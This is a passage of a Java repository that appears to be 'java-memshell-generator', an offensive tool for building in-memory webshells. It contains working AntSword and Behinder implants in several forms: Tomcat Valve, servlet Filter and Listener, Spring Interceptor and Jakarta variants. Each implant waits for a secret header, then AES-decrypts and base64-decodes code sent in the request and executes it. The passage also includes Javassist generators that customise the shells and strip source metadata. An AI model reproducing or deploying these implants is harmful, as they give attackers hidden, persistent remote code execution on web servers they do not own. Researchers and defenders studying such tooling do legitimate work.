52 | } 53 | 54 | @Override 55 | public void invoke(Request request, Response response) throws IOException, ServletException { 56 | try { 57 | if (request.getHeader(headerName).contains(headerValue)) { 58 | String cls = request.getParameter(pass); 59 | if (cls != null) { 60 | 61 | byte[] data = base64Decode(cls); 62 | URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); 63 | Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); 64 | method.setAccessible(true); 65 | Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length)); 66 | clazz.newInstance().equals(new Object[]{request, response}); 67 | } 68 | }else { 69 | // 重要: 没有这一步会将目标服务器打挂 70 | this.getNext().invoke(request, response); 71 | } 72 | } catch (Exception e) { 73 | this.getNext().invoke(request, response); 74 | } 75 | } 76 | 77 | public byte[] base64Decode(String str) throws Exception { 78 | try { 79 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 80 | return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); 81 | } catch (Exception var5) { 82 | Class clazz = Class.forName("java.util.Base64"); 83 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 84 | return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); 85 | } 86 | } 87 | } -------------------------------------------------------------------------------- /jmg-antsword/src/main/java/jmg/antsword/util/ShellUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.antsword.util; 2 | 3 | import jmg.antsword.memshell.*; 4 | import jmg.core.config.Constants; 5 | 6 | import java.util.HashMap; 7 | import java.util.Map; 8 | 9 | public class ShellUtil { 10 | 11 | private static final Map SHELL_CLASSNAME_MAP = new HashMap(); 12 | private static final Map> toolMap = new HashMap(); 13 | 14 | public ShellUtil() { 15 | } 16 | 17 | public static String getShellName(String toolType, String shellType) { 18 | Map shellMap = toolMap.get(toolType); 19 | return shellMap == null ? "" : shellMap.getOrDefault(shellType, ""); 20 | } 21 | 22 | public static String getShellClassName(String shellName) throws Exception { 23 | if (SHELL_CLASSNAME_MAP.get(shellName) == null) { 24 | throw new Exception("Invalid shell type '" + shellName + "'"); 25 | } else { 26 | return SHELL_CLASSNAME_MAP.getOrDefault(shellName, ""); 27 | } 28 | } 29 | 30 | static { 31 | SHELL_CLASSNAME_MAP.put(AntSwordListener.class.getSimpleName(), AntSwordListener.class.getName()); 32 | SHELL_CLASSNAME_MAP.put(AntSwordFilter.class.getSimpleName(), AntSwordFilter.class.getName()); 33 | SHELL_CLASSNAME_MAP.put(AntSwordJakartaListener.class.getSimpleName(), AntSwordJakartaListener.class.getName()); 34 | SHELL_CLASSNAME_MAP.put(AntSwordJakartaFilter.class.getSimpleName(), AntSwordJakartaFilter.class.getName()); 35 | SHELL_CLASSNAME_MAP.put(AntSwordValve.class.getSimpleName(), AntSwordValve.class.getName()); 36 | 37 | Map antSwordMap = new HashMap(); 38 | antSwordMap.put(Constants.SHELL_FILTER, AntSwordFilter.class.getSimpleName()); 39 | antSwordMap.put(Constants.SHELL_LISTENER, AntSwordListener.class.getSimpleName()); 40 | antSwordMap.put(Constants.SHELL_JAKARTA_FILTER, AntSwordJakartaFilter.class.getSimpleName()); 41 | antSwordMap.put(Constants.SHELL_JAKARTA_LISTENER, AntSwordJakartaListener.class.getSimpleName()); 42 | antSwordMap.put(Constants.SHELL_VALVE, AntSwordValve.class.getSimpleName()); 43 | toolMap.put(Constants.TOOL_ANTSWORD, antSwordMap); 44 | } 45 | 46 | 47 | } 48 | -------------------------------------------------------------------------------- /jmg-behinder/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | 5 | jmg 6 | java-memshell-generator 7 | 1.0.9 8 | 9 | jmg-behinder 10 | 11 | 12 | 13 | 14 | ${parent.groupId} 15 | jmg-core 16 | ${parent.version} 17 | compile 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /jmg-behinder/src/main/java/jmg/behinder/generator/BehinderGenerator.java: -------------------------------------------------------------------------------- 1 | package jmg.behinder.generator; 2 | 3 | import javassist.ClassClassPath; 4 | import javassist.CtClass; 5 | import jmg.behinder.util.ShellUtil; 6 | import jmg.core.config.AbstractConfig; 7 | import jmg.core.config.Constants; 8 | import jmg.core.generator.IShellGenerator; 9 | import jmg.core.util.CommonUtil; 10 | import jmg.core.util.JavassistUtil; 11 | import jmg.core.util.ResponseUtil; 12 | 13 | public class BehinderGenerator implements IShellGenerator { 14 | 15 | @Override 16 | public void initShell(AbstractConfig config) { 17 | if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6)); 18 | } 19 | 20 | @Override 21 | public byte[] makeShell(AbstractConfig config) throws Exception { 22 | initShell(config); 23 | String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType()); 24 | String shellClassName = ShellUtil.getShellClassName(shellName); 25 | byte[] bytes = modifyShell(shellClassName, config); 26 | config.setShellBytes(bytes); 27 | config.setShellBytesLength(bytes.length); 28 | config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes))); 29 | return bytes; 30 | } 31 | 32 | @Override 33 | public byte[] modifyShell(String className, AbstractConfig config) { 34 | byte[] bytes = new byte[0]; 35 | try { 36 | pool.insertClassPath(new ClassClassPath(BehinderGenerator.class)); 37 | CtClass ctClass = pool.getCtClass(className); 38 | ctClass.getClassFile().setVersionToJava5(); 39 | JavassistUtil.addFieldIfNotNull(ctClass, "pass", CommonUtil.getMd5(config.getPass()).substring(0, 16)); 40 | JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName()); 41 | JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue()); 42 | JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName()); 43 | if (config.getShellType().equals(Constants.SHELL_LISTENER)) { 44 | String methodBody = ResponseUtil.getMethodBody(config.getServerType()); 45 | JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody); 46 | } 47 | if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) { 48 | String methodBody = ResponseUtil.getMethodBody(config.getServerType()); 49 | methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet."); 50 | JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody); 51 | } 52 | JavassistUtil.removeSourceFileAttribute(ctClass); 53 | bytes = ctClass.toBytecode(); 54 | ctClass.detach(); 55 | } catch (Exception e) { 56 | e.printStackTrace(); 57 | throw new RuntimeException(e); 58 | } 59 | return bytes; 60 | } 61 | 62 | } 63 | -------------------------------------------------------------------------------- /jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderFilter.java: -------------------------------------------------------------------------------- 1 | package jmg.behinder.memshell; 2 | 3 | import javax.crypto.Cipher; 4 | import javax.crypto.spec.SecretKeySpec; 5 | import javax.servlet.*; 6 | import javax.servlet.http.HttpServletRequest; 7 | import javax.servlet.http.HttpServletResponse; 8 | import javax.servlet.http.HttpSession; 9 | import java.io.IOException; 10 | import java.util.HashMap; 11 | import java.util.Map; 12 | 13 | 14 | public class BehinderFilter extends ClassLoader implements Filter { 15 | public String pass; 16 | public String headerName; 17 | public String headerValue; 18 | 19 | public Class g(byte[] b) { 20 | return super.defineClass(b, 0, b.length); 21 | } 22 | 23 | public BehinderFilter() { 24 | } 25 | 26 | public BehinderFilter(ClassLoader c) { 27 | super(c); 28 | } 29 | 30 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { 31 | HttpServletRequest request = (HttpServletRequest) servletRequest; 32 | HttpServletResponse response = (HttpServletResponse) servletResponse; 33 | 34 | try { 35 | if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { 36 | HttpSession session = ((HttpServletRequest) servletRequest).getSession(); 37 | Map obj = new HashMap(); 38 | obj.put("request", servletRequest); 39 | obj.put("response", response); 40 | obj.put("session", session); 41 | 42 | session.putValue("u", this.pass); 43 | Cipher c = Cipher.getInstance("AES"); 44 | c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); 45 | (new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.doBase64Decode(servletRequest.getReader().readLine()))).newInstance().equals(obj); 46 | } else { 47 | filterChain.doFilter(servletRequest, servletResponse); 48 | } 49 | } catch (Exception e) { 50 | filterChain.doFilter(servletRequest, servletResponse); 51 | } 52 | } 53 | 54 | public byte[] doBase64Decode(String str) throws Exception { 55 | try { 56 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 57 | return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); 58 | } catch (Exception var5) { 59 | Class clazz = Class.forName("java.util.Base64"); 60 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 61 | return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); 62 | } 63 | } 64 | 65 | public void init(FilterConfig filterConfig) throws ServletException { 66 | } 67 | 68 | public void destroy() { 69 | } 70 | } -------------------------------------------------------------------------------- /jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderInterceptor.java: -------------------------------------------------------------------------------- 1 | package jmg.behinder.memshell; 2 | 3 | import org.springframework.web.servlet.AsyncHandlerInterceptor; 4 | 5 | import javax.crypto.Cipher; 6 | import javax.crypto.spec.SecretKeySpec; 7 | import javax.servlet.http.Cookie; 8 | import javax.servlet.http.HttpServletRequest; 9 | import javax.servlet.http.HttpServletResponse; 10 | import javax.servlet.http.HttpSession; 11 | import java.util.HashMap; 12 | import java.util.Map; 13 | import java.util.UUID; 14 | 15 | public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInterceptor { 16 | 17 | 18 | public String pass; 19 | 20 | public String headerName; 21 | 22 | public String headerValue; 23 | 24 | 25 | public Class g(byte[] b) { 26 | return super.defineClass(b, 0, b.length); 27 | } 28 | 29 | 30 | public BehinderInterceptor(ClassLoader c) { 31 | super(c); 32 | } 33 | 34 | 35 | public BehinderInterceptor() { 36 | } 37 | 38 | public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { 39 | if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { 40 | try { 41 | HttpSession session = request.getSession(); 42 | Map obj = new HashMap(); 43 | obj.put("request", request); 44 | obj.put("response", response); 45 | obj.put("session", session); 46 | session.putValue("u", this.pass); 47 | Cipher c = Cipher.getInstance("AES"); 48 | c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); 49 | (new BehinderInterceptor(this.getClass().getClassLoader())).g(c.doFinal(this.b64Decode(request.getReader().readLine()))).newInstance().equals(obj); 50 | } catch (Exception e) { 51 | } 52 | return false; 53 | } else { 54 | return true; 55 | } 56 | } 57 | 58 | public static byte[] b64Decode(String bs) throws Exception { 59 | byte[] value = null; 60 | 61 | Class base64; 62 | try { 63 | base64 = Class.forName("java.util.Base64"); 64 | Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); 65 | value = (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs)); 66 | } catch (Exception var6) { 67 | try { 68 | base64 = Class.forName("sun.misc.BASE64Decoder"); 69 | Object decoder = base64.newInstance(); 70 | value = (byte[]) ((byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs)); 71 | } catch (Exception var5) { 72 | } 73 | } 74 | 75 | return value; 76 | } 77 | } 78 | 79 | -------------------------------------------------------------------------------- /jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderJakartaFilter.java: -------------------------------------------------------------------------------- 1 | package jmg.behinder.memshell; 2 | 3 | import javax.crypto.Cipher; 4 | import javax.crypto.spec.SecretKeySpec; 5 | import jakarta.servlet.*; 6 | import jakarta.servlet.http.HttpServletRequest; 7 | import jakarta.servlet.http.HttpServletResponse; 8 | import jakarta.servlet.http.HttpSession; 9 | import java.io.IOException; 10 | import java.util.HashMap; 11 | import java.util.Map; 12 | 13 | 14 | public class BehinderJakartaFilter extends ClassLoader implements Filter { 15 | public String pass; 16 | public String headerName; 17 | public String headerValue; 18 | 19 | public Class g(byte[] b) { 20 | return super.defineClass(b, 0, b.length); 21 | } 22 | 23 | public BehinderJakartaFilter() { 24 | } 25 | 26 | public BehinderJakartaFilter(ClassLoader c) { 27 | super(c); 28 | } 29 | 30 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { 31 | HttpServletRequest request = (HttpServletRequest) servletRequest; 32 | HttpServletResponse response = (HttpServletResponse) servletResponse; 33 | 34 | try { 35 | if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { 36 | HttpSession session = ((HttpServletRequest) servletRequest).getSession(); 37 | Map obj = new HashMap(); 38 | obj.put("request", servletRequest); 39 | obj.put("response", response); 40 | obj.put("session", session); 41 | 42 | // fix: SpringBoot 3.3.3 (Tomcat/10.1.28) 43 | // java.lang.NoSuchMethodError: 'void jakarta.servlet.http.HttpSession.putValue(java.lang.String, java.lang.Object)' 44 | // session.putValue("u", this.pass); 45 | session.setAttribute("u", pass); 46 | Cipher c = Cipher.getInstance("AES"); 47 | c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); 48 | (new BehinderJakartaFilter(this.getClass().getClassLoader())).g(c.doFinal(this.doBase64Decode(servletRequest.getReader().readLine()))).newInstance().equals(obj); 49 | } else { 50 | filterChain.doFilter(servletRequest, servletResponse); 51 | } 52 | } catch (Exception e) { 53 | filterChain.doFilter(servletRequest, servletResponse); 54 | } 55 | } 56 | 57 | public byte[] doBase64Decode(String str) throws Exception { 58 | try { 59 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 60 | return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); 61 | } catch (Exception var5) { 62 | Class clazz = Class.forName("java.util.Base64"); 63 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 64 | return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); 65 | } 66 | } 67 | 68 | public void init(FilterConfig filterConfig) throws ServletException { 69 | } 70 | 71 | public void destroy() { 72 | } 73 | } -------------------------------------------------------------------------------- /jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderJakartaListener.java: -------------------------------------------------------------------------------- 1 | package jmg.behinder.memshell; 2 | 3 | import javax.crypto.Cipher; 4 | import javax.crypto.spec.SecretKeySpec; 5 | import jakarta.servlet.ServletRequestEvent; 6 | import jakarta.servlet.ServletRequestListener; 7 | import jakarta.servlet.http.HttpServletRequest; 8 | import jakarta.servlet.http.HttpServletResponse; 9 | import jakarta.servlet.http.HttpSession; 10 | import java.lang.reflect.Field; 11 | import java.util.HashMap; 12 | import java.util.Map; 13 | 14 | public class BehinderJakartaListener extends ClassLoader implements ServletRequestListener { 15 | public String pass; 16 | 17 | public String headerName; 18 | 19 | public String headerValue; 20 | 21 | 22 | public BehinderJakartaListener() { 23 | } 24 | 25 | public BehinderJakartaListener(ClassLoader c) { 26 | super(c); 27 | } 28 | 29 | 30 | public Class g(byte[] b) { 31 | return super.defineClass(b, 0, b.length); 32 | } 33 | 34 | 35 | public void requestDestroyed(ServletRequestEvent servletRequestEvent) { 36 | } 37 | 38 | public void requestInitialized(ServletRequestEvent servletRequestEvent) { 39 | HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); 40 | try { 41 | if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { 42 | HttpServletResponse response = this.getResponseFromRequest(request); 43 | HttpSession session = request.getSession(); 44 | Map obj = new HashMap(); 45 | obj.put("request", request); 46 | obj.put("response", response); 47 | obj.put("session", session); 48 | try { 49 | // session.putValue("u", pass); 50 | session.setAttribute("u", pass); 51 | Cipher c = Cipher.getInstance("AES"); 52 | c.init(2, new SecretKeySpec(pass.getBytes(), "AES")); 53 | (new BehinderJakartaListener(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj); 54 | } catch (Exception var7) { 55 | } 56 | } 57 | } catch (Exception e) { 58 | 59 | } 60 | 61 | } 62 | 63 | private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception { 64 | return null; 65 | } 66 | 67 | private static synchronized Object getFV(Object var0, String var1) throws Exception { 68 | Field var2 = null; 69 | Class var3 = var0.getClass(); 70 | 71 | while (var3 != Object.class) { 72 | try { 73 | var2 = var3.getDeclaredField(var1); 74 | break; 75 | } catch (NoSuchFieldException var5) { 76 | var3 = var3.getSuperclass(); 77 | } 78 | } 79 | 80 | if (var2 == null) { 81 | throw new NoSuchFieldException(var1); 82 | } else { 83 | var2.setAccessible(true); 84 | return var2.get(var0); 85 | } 86 | } 87 | 88 | public byte[] base64Decode(String str) throws Exception { 89 | try { 90 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 91 | return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); 92 | } catch (Exception var5) { 93 | Class clazz = Class.forName("java.util.Base64"); 94 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 95 | return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); 96 | } 97 | } 98 | } 99 | -------------------------------------------------------------------------------- /jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderListener.java: -------------------------------------------------------------------------------- 1 | package jmg.behinder.memshell; 2 | 3 | import javax.crypto.Cipher; 4 | import javax.crypto.spec.SecretKeySpec; 5 | import javax.servlet.ServletRequestEvent; 6 | import javax.servlet.ServletRequestListener; 7 | import javax.servlet.http.HttpServletRequest; 8 | import javax.servlet.http.HttpServletResponse; 9 | import javax.servlet.http.HttpSession; 10 | import java.lang.reflect.Field; 11 | import java.util.HashMap; 12 | import java.util.Map; 13 | 14 | public class BehinderListener extends ClassLoader implements ServletRequestListener { 15 | public String pass; 16 | 17 | public String headerName; 18 | 19 | public String headerValue; 20 | 21 | 22 | public BehinderListener() { 23 | } 24 | 25 | public BehinderListener(ClassLoader c) { 26 | super(c); 27 | } 28 | 29 | 30 | public Class g(byte[] b) { 31 | return super.defineClass(b, 0, b.length); 32 | } 33 | 34 | 35 | public void requestDestroyed(ServletRequestEvent servletRequestEvent) { 36 | } 37 | 38 | public void requestInitialized(ServletRequestEvent servletRequestEvent) { 39 | HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); 40 | try { 41 | if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { 42 | HttpServletResponse response = this.getResponseFromRequest(request); 43 | HttpSession session = request.getSession(); 44 | Map obj = new HashMap(); 45 | obj.put("request", request); 46 | obj.put("response", response); 47 | obj.put("session", session); 48 | try { 49 | session.putValue("u", pass); 50 | Cipher c = Cipher.getInstance("AES"); 51 | c.init(2, new SecretKeySpec(pass.getBytes(), "AES")); 52 | (new BehinderListener(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj); 53 | } catch (Exception var7) { 54 | } 55 | } 56 | } catch (Exception e) { 57 | 58 | } 59 | 60 | } 61 | 62 | private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception { 63 | return null; 64 | } 65 | 66 | private static synchronized Object getFV(Object var0, String var1) throws Exception { 67 | Field var2 = null; 68 | Class var3 = var0.getClass(); 69 | 70 | while (var3 != Object.class) { 71 | try { 72 | var2 = var3.getDeclaredField(var1); 73 | break; 74 | } catch (NoSuchFieldException var5) { 75 | var3 = var3.getSuperclass(); 76 | } 77 | } 78 | 79 | if (var2 == null) { 80 | throw new NoSuchFieldException(var1); 81 | } else { 82 | var2.setAccessible(true); 83 | return var2.get(var0); 84 | } 85 | } 86 | 87 | public byte[] base64Decode(String str) throws Exception { 88 | try { 89 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 90 | return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); 91 | } catch (Exception var5) { 92 | Class clazz = Class.forName("java.util.Base64"); 93 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 94 | return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); 95 | } 96 | } 97 | } 98 | -------------------------------------------------------------------------------- /jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderValve.java: -------------------------------------------------------------------------------- 1 | package jmg.behinder.memshell; 2 | 3 | import org.apache.catalina.Valve; 4 | import org.apache.catalina.connector.Request; 5 | import org.apache.catalina.connector.Response; 6 | 7 | import javax.crypto.Cipher; 8 | import javax.crypto.spec.SecretKeySpec; 9 | import javax.servlet.ServletException; 10 | import javax.servlet.http.HttpSession; 11 | import java.io.IOException; 12 | import java.util.HashMap; 13 | import java.util.Map; 14 | 15 | 16 | public class BehinderValve extends ClassLoader implements Valve { 17 | protected Valve next; 18 | protected boolean asyncSupported; 19 | 20 | public String pass; 21 | 22 | public String headerName; 23 | 24 | public String headerValue; 25 | 26 | public BehinderValve() { 27 | } 28 | 29 | public BehinderValve(ClassLoader c) { 30 | super(c); 31 | } 32 | 33 | public Class g(byte[] b) { 34 | return super.defineClass(b, 0, b.length); 35 | } 36 | 37 | @Override 38 | public Valve getNext() { 39 | return this.next; 40 | } 41 | 42 | @Override 43 | public void setNext(Valve valve) { 44 | this.next = valve; 45 | } 46 | 47 | @Override 48 | public boolean isAsyncSupported() { 49 | return this.asyncSupported; 50 | } 51 | 52 | @Override 53 | public void backgroundProcess() { 54 | } 55 | 56 | @Override 57 | public void invoke(Request request, Response response) throws IOException, ServletException { 58 | try { 59 | if (request.getHeader(headerName).contains(headerValue)) { 60 | HttpSession session = (request.getSession()); 61 | Map obj = new HashMap(); 62 | obj.put("request", request); 63 | obj.put("response", response); 64 | obj.put("session", session); 65 | session.putValue("u", pass); 66 | Cipher c = Cipher.getInstance("AES"); 67 | c.init(2, new SecretKeySpec(pass.getBytes(), "AES")); 68 | (new BehinderValve(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj); 69 | } else { 70 | // 重要: 没有这一步会将目标服务器打挂 71 | this.getNext().invoke(request, response); 72 | } 73 | } catch (Exception e) { 74 | this.getNext().invoke(request, response); 75 | } 76 | 77 | } 78 | 79 | public byte[] base64Decode(String str) throws Exception { 80 | try { 81 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 82 | return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); 83 | } catch (Exception var5) { 84 | Class clazz = Class.forName("java.util.Base64"); 85 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 86 | return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); 87 | } 88 | } 89 | } -------------------------------------------------------------------------------- /jmg-behinder/src/main/java/jmg/behinder/util/ShellUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.behinder.util; 2 | 3 | import jmg.behinder.memshell.*; 4 | import jmg.core.config.Constants; 5 | 6 | import java.util.HashMap; 7 | import java.util.Map; 8 | 9 | public class ShellUtil { 10 | 11 | private static final Map SHELL_CLASSNAME_MAP = new HashMap(); 12 | private static final Map> toolMap = new HashMap(); 13 | 14 | public ShellUtil() { 15 | } 16 | 17 | public static String getShellName(String toolType, String shellType) { 18 | Map shellMap = toolMap.get(toolType); 19 | return shellMap == null ? "" : shellMap.getOrDefault(shellType, ""); 20 | } 21 | 22 | public static String getShellClassName(String shellName) throws Exception { 23 | if (SHELL_CLASSNAME_MAP.get(shellName) == null) { 24 | throw new Exception("Invalid shell type '" + shellName + "'"); 25 | } else { 26 | return SHELL_CLASSNAME_MAP.getOrDefault(shellName, ""); 27 | } 28 | } 29 | 30 | static { 31 | SHELL_CLASSNAME_MAP.put(BehinderListener.class.getSimpleName(), BehinderListener.class.getName()); 32 | SHELL_CLASSNAME_MAP.put(BehinderFilter.class.getSimpleName(), BehinderFilter.class.getName()); 33 | SHELL_CLASSNAME_MAP.put(BehinderInterceptor.class.getSimpleName(), BehinderInterceptor.class.getName()); 34 | SHELL_CLASSNAME_MAP.put(BehinderJakartaFilter.class.getSimpleName(), BehinderJakartaFilter.class.getName()); 35 | SHELL_CLASSNAME_MAP.put(BehinderJakartaListener.class.getSimpleName(), BehinderJakartaListener.class.getName()); 36 | SHELL_CLASSNAME_MAP.put(BehinderValve.class.getSimpleName(), BehinderValve.class.getName()); 37 | 38 | Map behinderMap = new HashMap(); 39 | behinderMap.put(Constants.SHELL_FILTER, BehinderFilter.class.getSimpleName()); 40 | behinderMap.put(Constants.SHELL_LISTENER, BehinderListener.class.getSimpleName()); 41 | behinderMap.put(Constants.SHELL_INTERCEPTOR, BehinderInterceptor.class.getSimpleName()); 42 | behinderMap.put(Constants.SHELL_JAKARTA_LISTENER, BehinderJakartaListener.class.getSimpleName()); 43 | behinderMap.put(Constants.SHELL_JAKARTA_FILTER, BehinderJakartaFilter.class.getSimpleName()); 44 | behinderMap.put(Constants.SHELL_VALVE, BehinderValve.class.getSimpleName()); 45 | 46 | toolMap.put(Constants.TOOL_BEHINDER, behinderMap); 47 | 48 | } 49 | 50 | 51 | } 52 | -------------------------------------------------------------------------------- /jmg-cli/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | jmg 8 | java-memshell-generator 9 | 1.0.9 10 | 11 | 12 | jmg-cli 13 | 14 | 15 | 8 16 | 8 17 | UTF-8 18 | 19 | 20 | 21 | 22 | 23 | org.jline 24 | jline 25 | 3.21.0 26 | 27 | 28 | jmg 29 | jmg-sdk 30 | ${parent.version} 31 | 32 | 33 | 34 | 35 | 36 | 37 | org.apache.maven.plugins 38 | maven-assembly-plugin 39 | 3.6.0 40 | 41 | 42 | jar-with-dependencies 43 | 44 | 45 | 46 | jmg.cli.CLIApp 47 | 48 | 49 | false 50 | ../releases 51 | 52 | 53 | 54 | make-assembly 55 | package 56 | 57 | single 58 | 59 | 60 | 61 | 62 | 63 | 64 | -------------------------------------------------------------------------------- /jmg-cli/src/main/java/jmg/cli/CLIApp.java: -------------------------------------------------------------------------------- 1 | package jmg.cli; 2 | 3 | public class CLIApp { 4 | public static void main(String[] args) throws Throwable { 5 | Console console = new Console(); 6 | console.init(); 7 | console.run(); 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /jmg-core/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4 | java-memshell-generator 5 | jmg 6 | 1.0.9 7 | 8 | 4.0.0 9 | jmg-core 10 | 11 | 12 | 13 | 14 | org.springframework 15 | spring-web 16 | 5.3.29 17 | 18 | 19 | 20 | org.springframework 21 | spring-webflux 22 | 5.3.29 23 | 24 | 25 | jakarta.servlet 26 | jakarta.servlet-api 27 | 5.0.0 28 | 29 | 30 | org.apache.tomcat 31 | tomcat-catalina 32 | 8.5.58 33 | 34 | 35 | org.apache.tomcat 36 | tomcat-api 37 | 38 | 39 | org.apache.tomcat 40 | tomcat-juli 41 | 42 | 43 | org.apache.tomcat 44 | tomcat-jni 45 | 46 | 47 | org.apache.tomcat 48 | tomcat-coyote 49 | 50 | 51 | org.apache.tomcat 52 | tomcat-util 53 | 54 | 55 | org.apache.tomcat 56 | tomcat-util-scan 57 | 58 | 59 | org.apache.tomcat 60 | tomcat-annotations-api 61 | 62 | 63 | org.apache.tomcat 64 | tomcat-el-api 65 | 66 | 67 | org.apache.tomcat 68 | tomcat-jsp-api 69 | 70 | 71 | org.apache.tomcat 72 | tomcat-servlet-api 73 | 74 | 75 | org.apache.tomcat 76 | tomcat-jaspic-api 77 | 78 | 79 | 80 | 81 | 82 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/config/Constants.java: -------------------------------------------------------------------------------- 1 | package jmg.core.config; 2 | 3 | public class Constants { 4 | 5 | public static final String JMG_VERSION = "1.0.9_250101"; 6 | 7 | public static final String JMG_NAME = "java-memshell-generator"; 8 | public static final String JMG_DESCRIPTION = "Java 内存马生成器"; 9 | 10 | public static final String JMG_AUTHOR = "pen4uin"; 11 | 12 | public static final String SERVER_TOMCAT = "Tomcat"; 13 | public static final String SERVER_SPRING_MVC = "SpringMVC"; 14 | public static final String SERVER_SPRING_WEBFLUX = "SpringWebFlux"; 15 | 16 | public static final String SERVER_JETTY = "Jetty"; 17 | public static final String SERVER_RESIN = "Resin"; 18 | public static final String SERVER_WEBLOGIC = "WebLogic"; 19 | public static final String SERVER_WEBSPHERE = "WebSphere"; 20 | public static final String SERVER_UNDERTOW = "Undertow"; 21 | public static final String SERVER_GLASSFISH = "GlassFish"; 22 | 23 | public static final String SERVER_JBOSS = "JBoss"; 24 | 25 | public static final String SERVER_TONGWEB = "Tongweb"; 26 | public static final String SERVER_APUSIC = "Apusic"; 27 | public static final String SERVER_INFORSUITE = "InforSuite"; 28 | public static final String SERVER_BES = "BES"; 29 | 30 | 31 | public static final String SHELL_LISTENER = "Listener"; 32 | public static final String SHELL_FILTER = "Filter"; 33 | public static final String SHELL_JAKARTA_LISTENER = "JakartaListener"; 34 | public static final String SHELL_JAKARTA_FILTER = "JakartaFilter"; 35 | public static final String SHELL_VALVE = "Valve"; 36 | public static final String SHELL_INTERCEPTOR = "Interceptor"; 37 | public static final String SHELL_WF_HANDLERMETHOD = "WFHandlerMethod"; 38 | public static final String SHELL_WS_ENDPOINT = "WSEndpoint"; 39 | public static final String FORMAT_CLASS = "CLASS"; 40 | public static final String 